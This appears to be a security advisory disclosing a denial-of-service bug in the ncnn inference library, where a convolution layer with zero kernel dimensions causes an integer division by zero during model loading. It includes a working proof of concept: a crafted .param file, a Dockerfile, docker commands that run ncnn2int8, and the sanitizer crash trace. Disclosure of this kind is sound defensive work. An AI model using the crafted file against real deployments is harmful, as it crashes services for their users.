Zero Kernel Dimensions Cause Model-Loading Denial of Service

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/convolution_x86.cpp:301 in Convolution_x86::create_pipeline
Sanitizer verdict: FPE on unknown address 0x5e74b1831dc5 (pc 0x5e74b1831dc5 bp 0x7ffc27807b40 sp 0x7ffc278077b0 T0)

Summary

An attacker-supplied ncnn .param file with a Convolution layer whose kernel width and height are zero aborts the loading process with SIGFPE. On x86, Convolution_x86::create_pipeline computes weight_data_size / kernel_size / num_output where kernel_size = kernel_w * kernel_h, so a zero kernel divides by zero during Net::load_model. The PoC drives this through the ncnn2int8 quantizer, which reaches the sink even with a null weight input, but any x86 ncnn consumer that loads the model hits the same path.

Detail

The untrusted fields are Convolution parameter keys 1 (kernel_w) and 11 (kernel_h). Convolution::load_param reads them with pd.get(1, 0) and pd.get(11, kernel_w) — the default is already 0, and an explicit 1=0 11=0 is stored without any positivity check. The values survive into the architecture-specific pipeline builder that runs during load_model.

// src/layer/convolution.cpp:20
    num_output = pd.get(0, 0);
    kernel_w = pd.get(1, 0);
    kernel_h = pd.get(11, kernel_w);

// src/layer/x86/convolution_x86.cpp:301
    int kernel_size = kernel_w * kernel_h;
    int num_input = weight_data_size / kernel_size / num_output;

create_pipeline uses this division to recover the input-channel count that the parameter file never states explicitly. With the PoC layer Convolution conv 1 1 data out 0=1 1=0 6=1 11=0, kernel_size becomes 0 * 0 = 0 and line 302 executes 1 / 0 on int operands, raising #DE and SIGFPE. The second divisor num_output is equally unchecked and would fault the same way at 0=0.

ncnn2int8 reaches the sink at tools/quantize/ncnn2int8.cpp:1080: when the binary argument is the literal null it constructs a DataReaderFromEmpty and still calls quantizer.load_model(dr), so create_pipeline runs on synthesised weights. The attacker therefore only needs to control the four-line parameter file — no real weight blob, and no inference request, is required.

Reproduce

mkdir -p ncnn-poc-zero-kernel-dimensions-cause-model-loading-denial-of-service && cd ncnn-poc-zero-kernel-dimensions-cause-model-loading-denial-of-service

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > crafted.param <<'EOF'
7767517
2 2
Input data 0 1 data 0=1 1=1
Convolution conv 1 1 data out 0=1 1=0 6=1 11=0
EOF

cat > scales.table <<'EOF'
conv 1 1 1 1
conv_param_0 1 1 1 1
EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/quantize/ncnn2int8 crafted.param null out.param out.bin scales.table

AddressSanitizer output:

=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x653d6533adc5 (pc 0x653d6533adc5 bp 0x7ffdb55cc030 sp 0x7ffdb55cbca0 T0)
    #0 0x653d6533adc5 in ncnn::Convolution_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:302
    #1 0x653d6456177c in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2094
    #2 0x653d6447008d in main /ncnn/tools/quantize/ncnn2int8.cpp:1080
    #3 0x7746924651c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #4 0x77469246528a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #5 0x653d643d9644 in _start (/ncnn/build/tools/quantize/ncnn2int8+0x2a1644) (BuildId: a2cc9b5f8fa3acdfe93a4ac496a63a5631403673)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:302 in ncnn::Convolution_x86_avx512::create_pipeline(ncnn::Option const&)
==1==ABORTING

Credit

Zheng Yu @ DepthFirst